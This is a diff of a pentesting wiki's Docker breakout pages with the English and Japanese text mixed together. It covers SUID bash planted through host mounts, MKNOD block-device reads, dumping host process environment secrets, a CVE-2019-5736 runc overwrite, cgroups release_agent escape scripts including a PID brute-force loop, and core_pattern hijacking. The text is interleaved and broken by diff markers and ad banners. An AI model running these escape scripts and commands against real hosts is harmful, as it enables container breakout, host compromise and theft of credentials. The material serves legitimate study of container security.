いくつかの状況では、**コンテナにホストからマウントされたボリュームがある**ことがわかります。このボリュームが正しく構成されていない場合、**センシティブデータにアクセス/変更することができる**かもしれません：秘密を読み取る、ssh authorized_keysを変更する…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### 2つのシェルとホストマウントを使用した特権昇格
### Privilege Escalation with 2 shells and host mount
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
**コンテナ内でrootとしてアクセス**でき、ホストからマウントされたフォルダがあり、**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセスがある場合。\
**コンテナ**内の**マウントされたフォルダ**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -377,16 +342,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### 2つのシェルを使った特権昇格
### Privilege Escalation with 2 shells
**コンテナ内でrootとしてアクセスでき**、**非特権ユーザーとしてホストにエスケープした**場合、コンテナ内でMKNODの権限があれば（デフォルトで持っています）、両方のシェルを利用して**ホスト内での特権昇格**を行うことができます（これは[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)）。\
このような権限を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイル**です。例えば、/dev/sdaのブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Dockerは、コンテナ内でのブロックデバイスの誤用を防ぐために、**ブロックデバイスの読み書き操作をブロックする**cgroupポリシーを強制しています。それにもかかわらず、ブロックデバイスが**コンテナ内で作成されると**、それは**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセス可能になります。このアクセスには、**プロセスの所有者がコンテナ内外で同じである必要があります**。
**悪用**の例は、[**この書き込み**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からです：
```bash
# On the container as root
cd /
@ -422,19 +385,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
ホストのプロセスにアクセスできる場合、それらのプロセスに保存されている多くの機密情報にアクセスできるようになります。テストラボを実行します:
```
docker run --rm -it --pid=host ubuntu bash
```
例えば、`ps auxn`のようなコマンドを使用してプロセスをリストし、コマンド内の機密情報を検索することができます。
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
次に、**/proc/内のホストの各プロセスにアクセスできるため、envシークレットを盗むことができます**。
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -443,9 +402,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
他のプロセスのファイルディスクリプタに**アクセスし、オープンファイルを読み取る**こともできます。
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -455,91 +412,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
プロセスを**終了させてDoSを引き起こす**こともできます。
> [!WARNING]
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
> もしコンテナ外のプロセスに対して特権**アクセスを持っている場合**、`nsenter --target <pid> --all`や`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと**同じns制限**（できればなし）で**シェルを実行**することができます。
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
コンテナがDocker [ホストネットワーキングドライバー（`--network=host`）](https://docs.docker.com/network/host/) で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらず（コンテナはホストのネットワーキングネームスペースを共有）、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスをホストのIPに直接バインドします**。さらに、コンテナは**ホストが送受信しているすべてのネットワークトラフィックを傍受することができます**。共有インターフェース `tcpdump -i eth0`。
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
例えば、これを使用して**ホストとメタデータインスタンス間のトラフィックを傍受し、さらには偽装する**ことができます。
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Like in the following examples:
以下の例のように：
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access).
ホスト内の**localhostにバインドされたネットワークサービス**にもアクセスできるようになり、さらには**ノードのメタデータ権限**（コンテナがアクセスできるものとは異なる場合があります）にもアクセスできます。
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
`hostIPC=true`を設定すると、ホストのプロセス間通信（IPC）リソース、例えば`/dev/shm`の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用している同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用してください。
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
- **/dev/shmを調査** - この共有メモリの場所にあるファイルを探します: `ls -la /dev/shm`
- **既存のIPC施設を調査** – `/usr/bin/ipcs`を使用して、IPC施設が使用されているか確認できます。次のコマンドで確認してください: `ipcs -a`
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
### Recover capabilities
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
### 権限の回復
もしシステムコール**`unshare`**が禁止されていなければ、すべての権限を回復できます:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### ユーザー名前空間のシンボリックリンクを利用した悪用
### User namespace abuse via symlink
投稿で説明されている2番目の技術は、[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) に示されているように、ユーザー名前空間を使用してバインドマウントを悪用し、ホスト内のファイルに影響を与える方法（この特定のケースでは、ファイルを削除する）を示しています。
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
## CVE
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
### Runcの脆弱性 (CVE-2019-5736)
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
`docker exec`をrootとして実行できる場合（おそらくsudoを使用して）、CVE-2019-5736を悪用してコンテナからエスケープし、特権を昇格させようとします（エクスプロイトは[こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)）。この技術は基本的に、**コンテナからホストの_**/bin/sh**_バイナリを**上書き**しますので、docker execを実行する誰もがペイロードをトリガーする可能性があります。
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## CVEs
### Runc exploit (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。生成されたバイナリは、実行のためにdockerコンテナ内に配置する必要があります。\
実行時に`[+] Overwritten /bin/sh successfully`と表示されたら、ホストマシンから以下を実行する必要があります：
`docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file.
これにより、main.goファイルに存在するペイロードがトリガーされます。
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)を参照してください。
> [!NOTE]
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
> コンテナが脆弱である可能性のある他のCVEもあります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。
## Docker Custom Escape
## Dockerカスタムエスケープ
### Docker Escape Surface
### Dockerエスケープサーフェス
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs).
- **Root user**: By default the user running the process is the root user (however its privileges are limited).
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape.
- **名前空間**: プロセスは名前空間を介して**他のプロセスから完全に分離されるべき**であり、名前空間のために他のプロセスと相互作用してエスケープすることはできません（デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません）。
- **ルートユーザー**: デフォルトでは、プロセスを実行しているユーザーはルートユーザーです（ただし、その特権は制限されています）。
- **能力**: Dockerは以下の能力を残します: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **システムコール**: これらは**ルートユーザーが呼び出すことができない**システムコールです（能力が不足しているため + Seccomp）。他のシステムコールはエスケープを試みるために使用される可能性があります。
{{#tabs}}
{{#tab name="x64 syscalls"}}
```yaml
0x067 -- syslog
0x070 -- setsid
@ -560,11 +502,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x140 -- kexec_file_load
0x141 -- bpf
```
{{#endtab}}
{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct
@ -582,11 +522,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x111 -- finit_module
0x118 -- bpf
```
{{#endtab}}
{{#tab name="syscall_bf.c"}}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -598,31 +536,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```
````
{{#endtab}}
@ -633,12 +572,12 @@ int main()
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the **path of the containers filesystem** inside the host
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
## References
@ -650,11 +589,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{{#include ../../../../banners/hacktricks-training.md}}

44
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
View File

@ -2,10 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
**詳細については、** [**元のブログ記事**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です：
Original PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
概念実証（PoC）は、`release_agent`ファイルを作成し、その呼び出しをトリガーしてコンテナホスト上で任意のコマンドを実行することでcgroupsを悪用する方法を示しています。以下は、関与するステップの内訳です：
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
1. **Prepare the Environment:**
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
1. **環境の準備:**
- `/tmp/cgrp`というディレクトリが作成され、cgroupのマウントポイントとして機能します。
- RDMA cgroupコントローラーがこのディレクトリにマウントされます。RDMAコントローラーが存在しない場合は、代わりに`memory` cgroupコントローラーを使用することが推奨されます。
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Set Up the Child Cgroup:**
- A child cgroup named "x" is created within the mounted cgroup directory.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
2. **子Cgroupの設定:**
- マウントされたCgroupディレクトリ内に「x」という名前の子Cgroupが作成されます。
- 「x」Cgroupのnotify_on_releaseファイルに1を書き込むことで通知が有効になります。
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configure the Release Agent:**
- The path of the container on the host is obtained from the /etc/mtab file.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
3. **リリースエージェントの設定:**
- ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。
- 次に、cgroup の release_agent ファイルが、取得したホストパスにある /cmd という名前のスクリプトを実行するように設定されます。
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Create and Configure the /cmd Script:**
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
4. **/cmd スクリプトの作成と設定:**
- /cmd スクリプトはコンテナ内に作成され、ps aux を実行するように設定され、出力はコンテナ内の /output というファイルにリダイレクトされます。ホスト上の /output の完全なパスが指定されます。
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger the Attack:**
- A process is initiated within the "x" child cgroup and is immediately terminated.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
5. **攻撃をトリガーする:**
- "x" 子 cgroup 内でプロセスが開始され、すぐに終了します。
- これにより `release_agent`（/cmd スクリプト）がトリガーされ、ホスト上で ps aux が実行され、その出力がコンテナ内の /output に書き込まれます。
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
{{#include ../../../../banners/hacktricks-training.md}}

58
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
View File

@ -1,27 +1,26 @@
{{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
詳細については、**[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** のブログポートを確認してください。これは要約に過ぎません：
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
この技術は、**コンテナ内からホストコードを実行する方法**を概説しており、Kata Containersや特定の `devicemapper` 設定のように、ホスト上のコンテナのファイルシステムパスを隠すストレージドライバ構成によって引き起こされる課題を克服します。
Key steps:
主なステップ：
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
1. **プロセスID（PID）の特定：** Linuxの擬似ファイルシステム内の `/proc/<pid>/root` シンボリックリンクを使用して、コンテナ内の任意のファイルにホストのファイルシステムに対して相対的にアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。
2. **PIDバッシング：** ホスト上のPIDを検索するためにブルートフォースアプローチが採用されます。これは、`/proc/<pid>/root/<file>` に特定のファイルの存在を順次確認することによって行われます。ファイルが見つかると、それに対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。
3. **実行のトリガー：** 推測されたPIDパスが `cgroups release_agent` ファイルに書き込まれます。このアクションは `release_agent` の実行をトリガーします。このステップの成功は、出力ファイルの作成を確認することで確認されます。
### Exploitation Process
### 攻撃プロセス
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
攻撃プロセスは、コンテナ内で実行されているプロセスの正しいPIDを推測してホスト上でペイロードを実行することを目的とした、より詳細な一連のアクションを含みます。以下のように展開されます：
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
PoC from the blog post:
1. **環境の初期化：** ホスト上にペイロードスクリプト（`payload.sh`）が準備され、cgroup操作のためのユニークなディレクトリが作成されます。
2. **ペイロードの準備：** ホスト上で実行されるコマンドを含むペイロードスクリプトが書かれ、実行可能にされます。
3. **Cgroupの設定：** cgroupがマウントされ、構成されます。`notify_on_release` フラグが設定され、cgroupが解放されるとペイロードが実行されるようにします。
4. **PIDのブルートフォース：** ループが潜在的なPIDを反復し、推測された各PIDを `release_agent` ファイルに書き込みます。これにより、ペイロードスクリプトが `release_agent` として設定されます。
5. **実行のトリガーと確認：** 各PIDについて、cgroupの `cgroup.procs` に書き込まれ、PIDが正しい場合に `release_agent` の実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループは続き、成功した実行を示します。
ブログ投稿からのPoC：
```bash
#!/bin/sh
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -81,5 +80,4 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}

162
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
View File

@ -2,172 +2,168 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
`/proc` と `/sys` の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って設定されたり、無許可のユーザーによってアクセスされた場合、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc` を誤ってマウントすると、そのパスベースの性質により AppArmor の保護を回避し、`/host/proc` が保護されなくなります。
{% embed url="https://websec.nl/" %}
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
**各潜在的脆弱性の詳細は** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**で確認できます。**
## procfs Vulnerabilities
### `/proc/sys`
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern:
このディレクトリは、通常 `sysctl(2)` を介してカーネル変数を変更するためのアクセスを許可し、いくつかの懸念されるサブディレクトリを含んでいます。
#### **`/proc/sys/kernel/core_pattern`**
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`.
- **Testing and Exploitation Example**:
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) に記載されています。
- コアファイル生成時に実行するプログラムを定義でき、最初の128バイトが引数として渡されます。ファイルがパイプ `|` で始まる場合、コード実行につながる可能性があります。
- **テストと悪用の例**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 書き込みアクセスのテスト
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # カスタムハンドラを設定
sleep 5 && ./crash & # ハンドラをトリガー
```
#### **`/proc/sys/kernel/modprobe`**
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contains the path to the kernel module loader, invoked for loading kernel modules.
- **Checking Access Example**:
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) に詳述されています。
- カーネルモジュールローダーへのパスを含み、カーネルモジュールをロードするために呼び出されます。
- **アクセス確認の例**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
```
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe へのアクセスを確認
```
#### **`/proc/sys/vm/panic_on_oom`**
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) に参照されています。
- OOM 条件が発生したときにカーネルがパニックを起こすか、OOM キラーを呼び出すかを制御するグローバルフラグです。
#### **`/proc/sys/fs`**
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system.
- Write access can enable various denial-of-service attacks against the host.
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) に従い、ファイルシステムに関するオプションと情報を含みます。
- 書き込みアクセスにより、ホストに対するさまざまなサービス拒否攻撃を可能にします。
#### **`/proc/sys/fs/binfmt_misc`**
- Allows registering interpreters for non-native binary formats based on their magic number.
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable.
- Relevant exploit and explanation:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
